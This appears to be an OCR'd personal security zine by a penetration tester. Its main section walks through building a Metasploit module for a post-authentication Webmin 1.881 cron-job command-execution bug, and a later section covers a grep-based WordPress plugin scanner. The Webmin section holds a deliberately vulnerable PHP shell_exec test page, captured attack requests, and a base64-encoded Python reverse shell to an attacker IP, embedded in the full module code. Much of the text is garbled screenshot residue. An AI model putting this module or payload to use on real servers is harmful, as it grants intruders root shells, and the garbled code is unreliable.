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Hello World

Hi, ,guess who's back. Came a long way from sittin' in the flat”. ;)

That’s probably one of the best quotes to say for a hi because since couple of months | working 100%
remotely. So that’s how | decided to focus more on few projects that are still ,,not finished” and
summmarize them a bit ina short PDF file called ‘Notes Magazine'.

As this is a very first episode and I’'m not even sure if | will continue it in the future let’s jump
directly to the . In this chapter you’ll find 4 separated sections:

1. Creating Web Modules for Metasploit — where | tried to create a working module for a
WebMin 1.881 (postauth) RCE. There are still few fixes to implement...

2. Wordprice.py — quick&dirty mass-scanner for Wordpress Plugins — where | tried to create
more interesting version of ModusOperandi.py code (available on the blog) created few
months ago...

3. Learning Arduino - intro to DIY — where | tried to extend few of examples | found in one
online course...

4. Un-restricted content — YouTube case — where | described a very simple censorship bypass...

| hope you’ll find it interesting and maybe even useful. ;)

For any comments or questions please go and check the last page. There you will find all the info
you’ll need to find me.

Enjoy!


https://twitter.com/CodySixteen
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Creating Web Modules for Metasploit Framework
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INTRO

This small article was created (mostly) to introduce a Ruby language[1] to a new users. As
you will see below | tried to focus on a practice of creating modules for Metasploit Framework[2].
Main reason for this note was to develop a working proof-of-concent for an ‘exploitable
functionality’[3] | found to be implemented in Webmin[4] (tested version: 1.881)[5].

ENVIRONMENT

But first of all we’ll prepare a working environment to check all of our test cases described below.

As the Kali Linux[6] — in my opinion —is the very first and basic ‘environment’ we (‘pentesters’)
should use during the ‘day in the office’[7] — all cases described below were prepared and tested on
Kali Linux 2[6]. You can find it here[8].

When your Kali is ready to use: open the terminal console and try to use the code presented on the
screen below:

ap@l-version.rb

#! fusr/Sbin/ruby

require "httpclient®

puts HTTPClient: :LIB_MNAME
puts HTTPClient: :RUBY_WERSIOMN_ _STRIMNG
puts HTTPClient: :WERSION

As you can see | used the code | found online[9]. At this stage I'll strongly recommend you to read the
mentioned link before we’ll continue. One of the reasons is: we’ll use few of the example codes
presented on that tutorial below.

Your results should be similar to the one presented in the table below:

c@kali:~/src/rubyweb$ ruby ap01-version.rb
(2.8.3, ruby 2.7.1 (2020-03-31))

ruby 2.7.1 (2020-03-31)

2.8.3

c@kali:~/src/rubyweb$

(Yep, that’s right. Most of time I’'m using screenshots of the example code I'm presenting — not the
‘copy/paste of table-with-our-example’. The reason is simple: | think rewriting the code you’re
reading will help you to understand and learn the code easier and in a faster way. Enjoy then. ;))

Let’s move forward to get a structure of the Ruby language with a few basic examples grabbed
directly from the tutorial webpage[9].



BASIC EXAMPLES
Now we’ll start (re)creating a few of the example Ruby applications presented in the mentioned
tutorial[9].

atus.rb
method.rb

I Y
[ T e T o T e T v T T T e N e T N v T Y s T s T o T i TN i TN i T e §
[ T e T o T e T v T T T e N e T N v T Y T v T s T i TN i TN i T e §

As you can see during my ‘learing and reading part of a day’;) | tried to check nearly all of the cases
described at the link[9]. | decided they will be useful in case of our goal — which is: creating a working
MSF[2] module to use it later during the pentest[7] or CTF(s)[3].

So, let’s start here:
: t ap@2-get content.rb
#1/ /bin/ruby

require ‘httpclient’

client = HTTPClient.new

cont = client.get content 'https://mail.google.com’

puts cont
: ruby ap get content.rb |head -n 40

/mail/: a relative U in location header which is not recommendes
'The field value c s of a single a lute URI' in HTTP spec
I._.I n I( NowWnN l’ V- 1

<!DOCTYPE html>
chtml lang="pl">
<head>
meta charset="utf-8":

As you can see with this very simple example of GET request to a target webpage (in this case —
Gmail) we can see if the server is online as well as grab a login/index page. So far, so good. Let’s
continue with another example:



@ c@kali; ~/src/rubyweb

client HTTPClient.new
method OPTIONS

url = URI.par

This time we’re sending OPTIONS HTTP method to the target web application/server. Response is
presented on the screen below:

Content-Type: text/h

Connection cl

If you’d like to check the response headers from the server you’re pentesting — this one code could
be helpful:

.@' c@kali: —/src/rubyweb

Just save it and run the script now. You should receive a similar results to the one presented below:



If you’re familiar with any scripting language (read as: PHP, Python, Bash, etc) | think you’ll learn
Ruby pretty quickly. I will leave the rest of the mentioned tutorial[9] for you as an exerise.

Now it will be easier to jump to the next case: sending values to the parameter of our choice. Here
we go... ;)



BASIC PREAUTH RCE MODULE
As a simple example in the tutorial[9] we have a small PHP web page with echo of user’s input:

‘f root@kall: frarfwww,/html/rb
: # cat apes5.php

simple php-based RCE for ruby e«

cec(% GET['cmd"]);

#

# cat ap@5.php
simple php-based RCE for ruby

echo shell exe

ire "httpclient’

ient.new

?name=

client = HTTPClient.new

query = {'cmd' => 'id'}

¢ cat rcedl.rb
/bin/ruby
"httpclient’

= HTTPClient.new

(emd” =>

So our ‘very first step’ was indeed achieved: we can now create a working ‘preauth poc skeleton’ for
a basic exploit in Ruby. Yeah! ;)

So let’s move forward...



EXAMPLE POSTAUTH RCE — WEBMIN 1.881

Here we’ll describe the basic steps to reproduce postauth RCE for the Webmin (1.881) | found
installed on on of the TurnKey Linux VM installation — OpenVPN (available here[5]).

When | logged in to WebMin for a very first time | saw that there is a Scheduler functionality. As you
probably know[3] | like schedulers and other similar functionality in webapps. ;] So | decided to check
it:

© £ https;//192.168.1.10:12321 /cron/?xnavigation =1 5]

Webmin

Scheduled Cron Jobhs

Find ron b maching

& Selectall @ Invert selection & Create a new scheduled cron job @ Create a new environment variable 0 Control user access to cron jobs @ Mani

& Webmin

# System

User Active? Command

Jetc/eron hourly/hubdns-update

/etc/eron hourly/openvpn-profiles-delexpired
fetc/feron daily/bsdmainutils

Jetcferon daily/ntp

Jetcferon daily/logrotate
fetc/cron.daily/man-db
fetc/cron.daily/lighttpd

Jetc/cron daily/apt-compat

fetc/eron daily/passwd

fetc/cron daily/etckeeper

root Yes

root Yes

Great! | decided to check it with my additional command — reverse shell to my Kali VM.

M https://192.168.1.10:12321/cron/edit_cron.cgi?new=18&search=8&xnavigation=1 B s

Create Cron Job

Job Details
Execute cron job as sialala 2
Active? * Yes No
Command our cmds here

our emds here
Input to command

Description yep, that's all to get ro0t
When to execute
® Simple schedule . Hourly ~ Times and dates selected below _
Minutes Hours Days

* All Selected .. * All Selected .. o All Selected .. .
1] 12 24 36 48 0 12 1 13 25
1 13 25 37 49 1 13 2 14 26
2 14 26 38 50 2 14 3 15 27
3 156 27 39 51 3 15 4 16 28
4 16 28 40 52 4 16 5 17 29
5 17 29 41 63 5 17 6 18 30
6 18 30 42 54 6 18 7 19 EY
7 19 31 43 55 7 19 8 20
8 20 32 44 56 8 20 9 21
9 2 33 45 57 9 21 10 22
10 22 34 46 58 10 22 mn 23
mn 23 35 47 59 mn 23 12 24

Note: Ctrl-click (or command-click on the Mac) to select and de-select minutes, hours, days and months.

Date range to execute
# Run on any date

Only run from Jan |~ 2 to Jan |~ =

Example request is presented on the table below (generated with Burp[10] — right click and ‘Copy
request as curl command’):




curl -i -s -k -X S'GET" \

-H S'Host: 192.168.1.10:12321' -H S'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:79.0) Gecko/20100101 Firefox/79.0' -H S'Accept: text/html, */*; g=0.01' -H S'Accept-Language:
plen-US;q=0.7,en;q=0.3' -H S'Accept-Encoding: gzip, deflate’ -H S'Content-Type: application/x-
www-form-urlencoded; charset=UTF-8' -H S'X-PJAX: true' -H $'X-PJAX-Container: [data-dcontainer]’
-H S'X-Requested-With: XMLHttpRequest' -H S'Connection: close' -H S'Referer:
https://192.168.1.10:12321/cron/edit_cron.cgi?new=1&search=&xnavigation=1'-H S'Cookie:
redirect=1; testing=1; sid=f382acef13357d97aaa95235336f01dd" \

-b S'redirect=1; testing=1; sid=f382acef13357d97aaa95235336f01dd" \

S'https://192.168.1.10:12321/cron/save_cron.cgi?new=1&idx=&search=&user=sialala&active=1&c
md=our%20cmds%20here&input=our%20cmds%20here&comment=yep%2C%20that%27s%20all%
20t0%20get%20r00t&special_def=1&special=hourly&all_mins=1&all_hours=1&all_days=1&all_mo
nths=1&all_weekdays=1&range_def=1&range_start_day=&range_start_month=1&range_start_ye
ar=&range_end_day=&range_end_month=1&range_end_year='

Now we should have all the basics to move forward to the next section — creating our proof-of-
concept module. Here we go...



PORTING OUR POC TO METASPLOIT

Now the case is how to rewrite our poc to use it as a module in Metasploit Framework[2] during the
pentest[7]. | started from running msfconsole on Kali to search for webmin modules already available
there. | decided it will be a good start to check what (else) | need to know or learn before I'll proceed.
So that’s how | found:

IIIIII
I
II
II
II

TIIIIT

I love shells

to learn more

rary File A

We have a few examples ready to re-use. So let’s try to do it. | decided to start with
webmin_packageup_rce module:

P c@kali: ~

# Vulnerability Dis y, MSF PoC module

=> MSF_LICENSE,

==

Next thing was to do copy of this module and start editing it using our ‘request’ described in section
above[,,Example postauth RCE — Webmin 1.881"].

We should be somewhere here:



s -la webmin*

n_rce.rb  webmin_s

Let’s read the code of our copied module to see what we can leave there, what needs to be changed
or deleted and what needs to be added. We’'ll start here:

Let’s say ,we don’t know” if there is a Perl installed on the target machine. But (I believe;)) we can
assume that there will be a working Python. Let’s change the PAYLOAD then to something based on
Python, for example:

So our change here will be similar to the one presented below (PAYLOAD). As you can see | also
changed the RPORT (that’s the default port for Webmin installation if you’re using TurnKey Linux
VM,S[ll] afaik;)):

Let’s move forward. We should be here:



rhost}:#{rport

return nil unless res

All's good. We have a username and password fields as well as login() function. Let me compare it
with our Burp request:

GET
/cron/save_cron.cgi?new=18idx=8search=8user=sialaladactive=18&cmd=0our%20cmds % 20here&input=our%20cmds %20
eredcomment=yep%2C%20that%27s % 20all%20t0% 20get% 20r00t&s pecial_def=18&special=hourly&al_mins=18all_hours=
18all_days=18all_months=18all_weekdays=18&range_def=1&range_start_day=8range_start_month=1&range_start_year=
&range_end_day=8range_end_month=1&range_end_year= HTTP/1.1

Host: 192.168.1.10:12321

User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept: text/html, */*; g=0.01

Accept-Language: pl.en-US;q=0.7 en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urilencoded; charset=UTF-8

X-PJAX: true

X-PJAX-Container: [data-dcontainer]

X-Requested-With: XMLHttpRequest

Connection: close

Referer: https://192.168.1.10:12321/cron/edit_cron.cgi?new=18search=8xnavigation=1

bookie: redirect=1; testing=1; sid=f382acef13357d972a2a95235336f01dd

As you can see we have an additional cookie value — ,redirect=1". For now let’s not modify our poc-
module but just keep it in mind that there can be a need to change/add it to the module too.

(While I'm working with my own ,Metasploit modules”[3] | always like to check the documentation
available here or here. You should definitely check it too. ;))

Let’s add some debug printf functions to our new module — just to get some info about ,where we
currently are in the script/module”. For example, let’s add it here:



) # DEBUG++

return $1
end

return nil unle r

At this stage | think we can check if our module is working so far. To do that type in msfconsole:

msf5 > reload_all
[*] Reloading modules from all module paths...

Now (with meterpreter prepared in separated window, like this:

options
(exploit/multi/handler):

Name Current

(an interface may be specified)

11 to use.

Exploit target:

Id Name

%}

mst5 exploit( ) > exploit -j

) we should be somewhere here:



Let’s run check command (to see some error message... so at this stage | modified the module code
one more time, like below):

# DEBUG++

t uri,
it mus

data

Checking again:



@ rooct@kali: fusr/share/metasploit-framework/modules/exploits/linux/http

)} > reload

oit( ) > check

We are in login() function, preparing request...

Login reguest - nt. Checking e and cookies:
- Cannot reli (ploitability.

Not so bad. But also: not so good as | expected. So let’s go back to the code...

After a while | realize that there is no need to check the code at this stage. The hint you'll find in the
curl-request mentioned before ;]

Let’s move forward:

> true
f5 exploit(

We are in login()

ogin req

unning, but could not be validated.

Great. | think now it’s a good time to continue in the next section. We'll prepare our new module poc
to work during our ,,example” pentest project[7] ;) So...



WEAPONIZING OUR MODULE
Few words about the payload[14] | used for this example exploit scenario:

c@kali:~/src/webmine$ cat a

python -c 'import pty;import
socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.128",4444));0s.dup2(s.fileno(
),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

c@kali:~/src/webmine$ base64 a
cHI0aGYulC1jICdpbXBvcnQgcHR502ItcG9ydCBzb2NrZXQsb3M7cz1zb2NrZXQuc29ja2VOKHNv
Y2tldC5BRI9JTKVULHNVY2tIdCS5TTONLXINUUKVBTSk7cy5jb25uZWNOKCgiMTkyLjE20OCAXMTEuU
MTI4liwONDQOKSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDlocy5SmaWxIbm8oKSwxKTtv
cy5kdXAyKHMuZmIsZW5vKCksMik7cHR5LNNwYXduKClvYmluL2Jhc2giKScK

c@kali:~/src/webmine$

It's pretty similar to the other payload(s) | used for webapp bugs | found in the past[3]. Let’s continue
here:

GET
/cron/save_cron.cgi?new=1&idx=&search=&user=root&active=1&cmd=rapnadzielniyOyOyO&input=rapnadzielniyOyOyO&
comment=yep%2C%20that%27s%20all%20t0%20get%20r00t&special_def=1&special=hourly&all_mins=1&all_hours=1&
all_days=1&all_months=1&all_weekdays=1&range_def=1&range_start_day=&range_start_month=1&range_start_year=
&range_end_day=&range_end_month=1&range_end_year= HTTP/1.1

Host: 192.168.1.10:12321

User-Agent: Mozilla/5.0 (ZnamTwojeHaSuo NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept: text/html, */*; g=0.01

Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-PJAX: true

X-PJAX-Container: [data-dcontainer]

X-Requested-With: XMLHttpRequest

Connection: close

Referer: https://192.168.1.10:12321/cron/edit_cron.cgi?new=1&search=&xnavigation=1

Cookie: redirect=1; testing=1; sid=f382acef13357d97aaa95235336f01dd

Let’s get back to the source code of our module. We’ll need to update it a bit.

A good place to start — if you are looking for a help - is already prepared by Offensive Security
Team[15]. Check IT ;] out:

Cc @ 0 a offensive-security.com yst t B e - @0

CERTIFICATIONS LABS SERVICES FOR ORGS OFFSEC? COMMUNITY

n’r["sl"! COURSES AND PENTEST TRAINING WHY KALI AND

- CUSTOM SCRIPTING

Now that we have a feel for how to use irb to test API calls, let’s look at what objects are returned and

TABLE OF CONTENTS test basic constructs. Now, no first script would be complete without the standard ‘Hello World', so let's

create a script named helloworld.rb and save it to /usr/sh loit-framework/scripts
METASPLOIT UNLEASHED

/meterpreter.

DONATE - HELP FEED A CHILD

INTRODUCTION v

If you're still looking for more detailed help — this page[13] - should be a good start. ;)



Now we should go back to the module’s code. Few changes we need to add are presented in the
table below (marked with ctrl+b):

(...)
def check
cookie = login
print_good("We are logged-in as 'root'! \o/")

return CheckCode::Detected if cookie =="
return CheckCode::Unknown if cookie.nil?

()

def exploit
cookie = login
if cookie =="" || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end

print_good("We are logged-in as 'root' now! Yeaaaah! \\o/")
print_good("Session cookie: #{cookie}")

res = send_request_cgi(
'method' =>'POST',

Save and exit to go back to msfconsole. Now type reload to refresh the module in our console and
we should be somewhere here:

‘@ root@kali: fusr/share/metasploit-framework/modules/exploits/linux/http

loading module. . .
yloit I:

L =K

]
o

te the
but no

§]

So far, so good. ;] Currently:

e we can connect to the target Webmin (via SSL)
e (assuming we know the password) we can log in as a root user*
e We can try to make another request (as a ‘logged-in root user’).

Let’s check it.

(* sure, we can implement some bruteforce in our module but in my opinion it’s pointless from the
perspective of this article. As far as | know — Webmin installation (at least with TurnKey Linux[11]) is
prepared for the bruteforce attacks. To not spoil it to much — | will leave the config files to read for

you as an exercise. ;))



Now it’s time to prepare/modify a new request to our target Webmin VM to send our ‘example’

payload.

We'll start here:

Request

Raw -Params THeaders THex ]

GET
lcronfsave_cron.cgi?new=18idx=8search=8user=roctdactive=18cmd=our%20cmds % 20here&input=our%20cmds % 20her
edcomment=yep 2C%20that% 27s % 20al%20to% 20get% 20r00t&s pecial_def=1&special=hourly&all_mins=1&al_hours=1&
all_days=18&all_months=18all_weekdays=18&range_def=18range_start_day=8range_start_month=1&range_start_year=&ra
nge_end_day=_&range_end_month=18&range_end_year=HTTP/1.1

Host: 192.16f110-12321

User-Agent: @ root@kali: /usr/share/metasploit-framework/modules/exploits/linux/http

X-Requested
Connection: 4
Referer: https

print_stat
run_updat

Started rewve TCP handler on
We are in login() function, pr
i nt. Checking

hal3abBlc bblf

like we the cron's page. Continuing...

mpting t
rload

Hm... ok. Let’s verify if our request was added properly:



<« c @ © £ hitps//192.168.1.10:12321/cron/?xnavigation=1
p g

Webmin Scheduled Cron
Find Cron jobs matching
£ Webmin L] & Selectall @ Invert selection Create a new scheduled cron job Create a new environment variable 10
# System - User Active? Command
©  Backup and Migration (TKLBAM) - s /etc/cron. hourly/hubdns-update
> Bootup and Shutdown /etc/cron.hourly/openvpn-profiles-delexpired

/etc/cron.daily/bsdmainutils
/etc/cron.daily/ntp

© Disk and Network Filesystems /etc/cron daily/logrotate

5 Running Processes /etc/cron.daily/man-db
/etc/cron daily/lighttpd
/etc/cron.daily/apt-compat
o Software Packages /etc/cron.daily/passwd
Jetc/cron.daily/etckeeper
/ete/cron.daily/tklbam-backup
>  System Logs Jetc/cron.daily/dpkg
/etc/cron weekly/man-db

© Change Passwords

Scheduled Cron Jobs root Yes

2 System Documentation

© Users and Groups

root e /etc/cron.weekly/etckeeper-gc
o root Yes test -x /usr/shin/cron-apt && /usr/sbin/cron-apt
-+, Tools root Yes Jusr/bin/id=/tmp/asdasdasd1234567 #

Looks good. So the case for now is to prepare a valid payload (that will be added to the scheduler as
a new job. For our purpose it will be a reverse shell to our Kali VM;)). Unfortunately | wasn’t able to
create a sample asdasd* file. So | decided to run Burp again and check it. After a while — we’ll use the
updated request presented in the table below:

/cron/save_cron.cgi?new=&idx=8&search=&user=root&active=1&cmd=id%3E%2Ftmp%2Fasd123333444444
4%3B%23&input=id%3E%2Ftmp%2Fasd1233334444444%3B%23&comment=yep%2C%20that%27s%20all%2
0to%20get%20r00t&special=hourly&special_def=0&all_mins=1&all_hours=1&all_days=1&all_months=1&all
_weekdays=1&range_def=1&range_start_day=&range_start_month=1&range_start_year=&range_end_day
=&range_end_month=1&range_end_year=&saverun=Save%20and%20Run%20Now

Here we go:

#\. hitps;//192.168.1.10:12321/cron/exec_cron.cgi?idx=88&xnavigation=1 8 -9 %

Execute Cron Job

Output from command ic>/tmp/asd1233334444444;§ ..

g A rootRopenupn “# find ~ | grep 4444

@® Return to cron job 4 Return to cron list oo tamonven “1 £ind ~ | orep 333
proc/344/map_files 7fBdb 4000-7f8db 9000
proc.344-map_files 7fBdb 9000-7f8d4b3538000
procsB63-/map_files 7f4100332000-7fd41600333000
proc/863/map_files/?fd100 000-7f 4100349000
usrrssharesterminforxsxterm-xf86-v
usrssrc/linux-headers-4.9.0-B-common/include/linux/input-1m8

ootBopenvpn “# find -~ | grep 4444
ind: ’sprocs?224-tasks7?224/net’ @ Invalid argument
i : ' sprocs7224/net’ 1 Invalid argument
tmprasd123333 444
rootQ@openvpn “# ii_

Looks good so far. Continuing...




(At this stage my mistake was: still not read the whole manual —so | failed with the payload.)

See below:

PN A F TR O A N N e en — - E' aee

Edit Cron Job

11.1] 61441

Job Details

) > exploit -j

created.

dC5BRI9

e All

Janu:
Febru

Indeed — our payload worked but not as | expected. As you can see on the screen above | still used
netcat to receive a connection from the target machine. (So we can say the final poc module — at this
stage —is still ,,in progress”. | will leave it to you as another excercise. ;))

Full code is presented in the table below. Remember to use it only during legal projects. Thanks!

Quick&dirty poc module — postauth RCE for Webmin 1.881:

H#H

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
H#H

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' =>"Webmin Scheduler Postauth Remote Command Execution',
'Description’  => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.881 and possibly lower versions. Any user authorized to the "Scheduler Cron Jobs"
module can execute arbitrary commands with root privileges.

)

uthor' =
'Cody Sixteen <code610>' # poc based on: 'AkkuS <Ozkan Mustafa Akkus>' - Webmin Package Update RCE module
1
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'nope'],
['URL', 'https://code610.blogspot.com/p/mini-arts.html']
1
'Privileged' =>true,
'Payload' =
{
'DisableNops' => true,
'Space' =>512,
'Compat’ =>
{
'PayloadType' => 'cmd'




}
}

efaultOptions' =>
{
'RPORT' => 12321,
'SSL' =>true,
'PAYLOAD' => 'cmd/unix/generic'
b
'Platform' =>"'unix’,
'Arch’ =>ARCH_CMD,
'Targets' => [['Webmin <= 1.881', {}]],
'DisclosureDate' => 'Oct 20 2020,
'DefaultTarget' =>0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application’, '/'])
]

end

def peer
"#{ssl ? 'https://" : 'http://' H{rhost}:#{rport}"
end

def login
print_status("We are in login() function, preparing request...") # DEBUG++

res = send_request_cgi({
'method' =>'POST',
'uri' => normalize_uri(target_uri, '/session_login.cgi'),
'cookie' => 'testing=1,redirect=1", # it must be used for "Error - No cookies"
'vars_post' => {
'page' =>",
'user' => datastore[' USERNAME'],
'pass' => datastore['PASSWORD']
}
1

print_status("Login request - sent. Checking response code and cookies:")
#print_status("resp code: #{res.code}" )
#print_status("resp cookie: #{res.get_cookies}")

if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
print_status("resp code: #{res.code}" )
print_status("resp cookie: #{res.get_cookies}")
return $1

end

return nil unless res

end

def check
cookie = login
print_good("We are logged-in as 'root'! \o/")

return CheckCode::Detected if cookie =="
return CheckCode::Unknown if cookie.nil?

vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' =>'GET',
'uri'  =>normalize_uri(target_uri.path, 'cron’,'save_cron.cgi'),
'cookie' =>"sid=#{cookie},redirect=1,testing=1",
'vars_get' => { "xnavigation" =>"1"}

b




if res && res.code == 302 && res.body
version = res.body.split("- Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "910"
# check package update priv
res = send_request_cgi({
'uri'  =>normalize_uri(target_uri.path, "cron/"),
'cookie' =>"sid=#{cookie}"

b

if res && res.code == 200 && res.body =~ /Dashboard/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end

def exploit
cookie = login
if cookie =="" || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("We are logged-in as 'root' now! Yeaaaah! \\o/")
print_good("Session cookie: #{cookie}")

res = send_request_cgi(
'method' =>'POST/,
'uri' => normalize_uri(target_uri, 'cron','save_cron.cgi'),
'headers' => { 'Referer' => "#{peer}/cron/edit_cron.cgi?new=1&search=&xnavigation=1"},
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_good("Looks like we can access the cron's page. Continuing...")

print_status("Attempting to execute the payload...")
run_update(cookie)
end

def run_update(cookie)

#@b64p = Rex::Text.encode_base64(payload.encoded)

#my_payload = 'id>/tmp/asd1233334444444;#'#

my_payload = 'echo
cHI0aG9uIC1jICdpbXBvecnQgcHR5021tcG9ydCBzb2NrZXQsb3M7cz1zb2NrzXQuc29ja2VOKHNVY2tldC5BRISJTKVULHNVY2tIdCSTTONLXINU
UKVBTSk7cy5jb25uZWNOKCgiMTkyLjE20C4XMTEuMTI41liwONDQOKSk7b3MuZHVwMihzLmZpbGVubygpLDAp0O29zLmR1cDlocy5maWxIb
m8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LNNwYXduKClvYmluL2Jhc2giKScK | base64 -d | sh'

payload = my_payload

print_status("My payload is: #{payload}") # Rex::Text.uri_encode(my_payload)

res = send_request_cgi(
{
'method' =>'POST',
'cookie' => "sid=#{cookie},redirect=1,testing=1",
'ctype' =>'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'cron’, 'save_cron.cgi'),
'headers' =>
{
'Referer' => "#{peer}/cron/save_cron.cgi?new=1*search=&xnavigation=1"
2
'data’ =>
"new=1&idx=&search=&user=root&active=1&cmd=#{payload}&input=#{payload}&comment=yep%2C%20that%27s%20all%20t0%20get
%20r00t&special_def=08&special=hourly&all_mins=1&all_hours=1&all_days=1&all_months=1&all_weekdays=1&range_def=1&range_st
art_day=&range_start_month=1&range_start_year=&range_end_day=&range_end_month=1&range_end_year="

b




print_status("request is done... what's next dude...? ;S")

end
end

Id Name

cmd/unix

g interaction with

n ~# exit

.111.1 - Command she

Remember to keep reading the docs [12, 13]. Few similar example bugs you’ll find here[3].
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15. Offensive Security Team

| hope you enjoyed IT. ;]
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Wordprice.py — quick&dirty mass-scanner for Wordpress plugins

c @ © @& hitps;//wordpress.org/plugins/ sos s v IN O @

Register

@WORDPRE $$.ORG

Plugins

Extend your WordPress experience with 57,880 plugins.

Yes. We'll try to ,,extend our Wordpress experience”... ;] Here we go...



INTRO

Since many, many years I’'m wondering if there is any good so called source code scanner. |
remember some old projects (like flawfinder or rats) but nowadays I’'m not sure if (‘publicly’) is
anything available beside RISP[1] (or SonarCube[2].

Few days ago | decided to finaly sit back to that idea again [3] and | started to creating my
super-grep-based-python-script-scanner one more time... ;] Below you will find few notes about it.
Let’s go...

ENVIRONMENT

As usual[4] I'm using Kali VM[5] as my ‘pentester jumphost’ so basicaly the whole
environment this time is the python working on Kali. ;) That’s all (because | like to keep in mind that
the script could be used for example ,during CTF” when you are already on the box and would like to
,scan the webroot” to find few more bugs on that host).

If there will be anything else needed to install or change — | will drop a note about it below.

Let’s move forward.

IDEA
The idea for ‘the scanner’ was very simple. | decided that it will be nice to implement possibility to:

e download the target code
e unpack it to location X
e search for bugs in unzipped location X of the downloaded plugin

Simple like that. Right. ;] So let’s move forward directly to the first results...

FIRST RESULTS
| started the script from some ‘base URL address to check’. Of course in our case — looking for bugs in
Wordpress plugins — we will start from the official ‘plugin link’[6]:

© @& nhitps//wordpress.org/plugins/ 60% es o vl

Popular Plugins See all

Contact Form 7 Yoast SEO

Just another contact form plugin. Simple . Improve your WordPress SEO: Write
but flexible. better content and have a fully optimized
WordPress site using...

Takayuki Miyoshi Team Yoast

5+ million active installations Tested with 5.5.1 5+ million active installations Tested with 5.5.1

_= Classic Editor

We should be somewhere here:

_ Akismet Spam Protection




WP Super Cache WP Mail
A very fast caching engine for WordPress Make emai
that produces static hitml files. Connect wi
SendGrid,
Automattic WPForms
2+ million active installations Tested with 5.5.1 2+ million active installations
1 2 .. 49 Next

So far, so good. For the ,,popular” plugins we have 49 pages of packages to check. Let’s start from the
initial GET request to the target page to grab a list of links for available plugins:

‘@ c@kali: ~/src/wordprice.py

connected.

Looks good. After a while we should have a basic ‘statistics’ for example of how long our code will
work:

.Zip

- [_‘_l]_l_l,‘i,

nloaded!

For now we should be here:

#!/usr/bin/env python
HiH

import re, requests, sys
import urllib3

import os
urllib3.disable_warnings()
s = requests.Session()
PLUGINS = 'plugins'
import subprocess




Next — our function to download plugins (it’s simple wrapper for subprocess):

(...)
# plugin is found so we can try to download it now:
full_plugin_link = 'https://wordpress.org/plugins/' + plugin[0]
visit_plugin_link = s.get(full_plugin_link, verify=False)
visited_plugin_link = visit_plugin_link.text

get_this_plugin = re.compile('<a class="plugin-download button download-button button-large"
href="(.*?)">Download</a>')
got_this_plugin = re.search(get_this_plugin, visited_plugin_link)

if got_this_plugin:
plugin_link = got_this_plugin.group(1)
print "Downloading ==> %s" % ( plugin_link )
do_wget = "wget -P ./plugins/ "+ plugin_link
#subprocess.call(do_wget, shell=True)
print "[+] Plugin %s downloaded! :)" % ( pluginl)
(...)

Yes, the code is super advanced but | believe you’ll get the idea so far, what’s going on. ;)

Continuing here:

# now we can move forward to:

# - unzip downloaded plugin/zip file

get_zip_name = re.compile('"https://downloads.wordpress.org/plugin/(.*?)">Download')
got_zip_name = re.search(get_zip_name, visited_plugin_link )

print plugin_link
print got_zip_name.group(1)

if got_zip_name:
print " Let's unzip the file: %s" % ( got_zip_name.group(1) )
print os.curdir
unzip_plugin = "unzip -d ./plugins/ ./plugins/" + got_zip_name.group(1)
#subprocess.call(unzip_plugin,shell=True)

# now we can move to the next step: checking source to find some bugs
#

# - try to prepare a nice and charm regexp to find a possible bug(s) ;]
pwd = os.curdir

plug_dir_name = got_zip_name.group(1).strip('.zip')

temp_path = pwd + "/plugins/" + plug_dir_name

#temp_path = pwd + "/next_step_plugins/"

#temp_path = pwd + "/plugins_allpopular/"

check_source(temp_path) # our super evil function ];>

# let's try then.
print ' \n'

Another extreem subprocess — | know — but let’s continue with one more part of the script: our ,well
known”[3] iterator:

Hit##H
def check_source(temp_path):




#print " WE ARE IN check_source() for path: %s" % ( temp_path )
#print "-----mmemmemeeee e "

files =]

# r=root, d=directories, f = files
forr, d, fin os.walk(temp_path):
for file in f:
if .php"in file:
files.append(os.path.join(r, file))

for fin files:
#print(f)
readFile(f) # fullpath

For now we should have a working script that will:
- download all the plugins packages from Wordpress web page
- extract each plugin to plugins directory.

So far, so good. Next case should be preparing our grep-based-regexp function(s) to implement it
somehow in our script to (let’s say ;)) ,,find TOP10 OWASP bugs” in the webapp code we’re trying to
check. | decided to start from this very basic function designed to catch some very, very basic bugs,
check it out:

‘]
PDATE ', 'DELETE ']

ne in 1i
line_num +=

for method in
for func

+ function + "( + method + "\
found
if found

QLT bug in file ra ) in line numbe \ £, line_num, foun

| decided to comment out those 2 subprocess wrappers and restart the code with my new super-
function. Comparing results with example vulnerability | added to one of the plugin’s directory (just
to see if our simple regexp is working):

o in file ./p ins/really-simple-s: er php (param: 4) i ine number 'rapuj’:
("SELECT r : ] . $ POS r " . " WHERE name = %




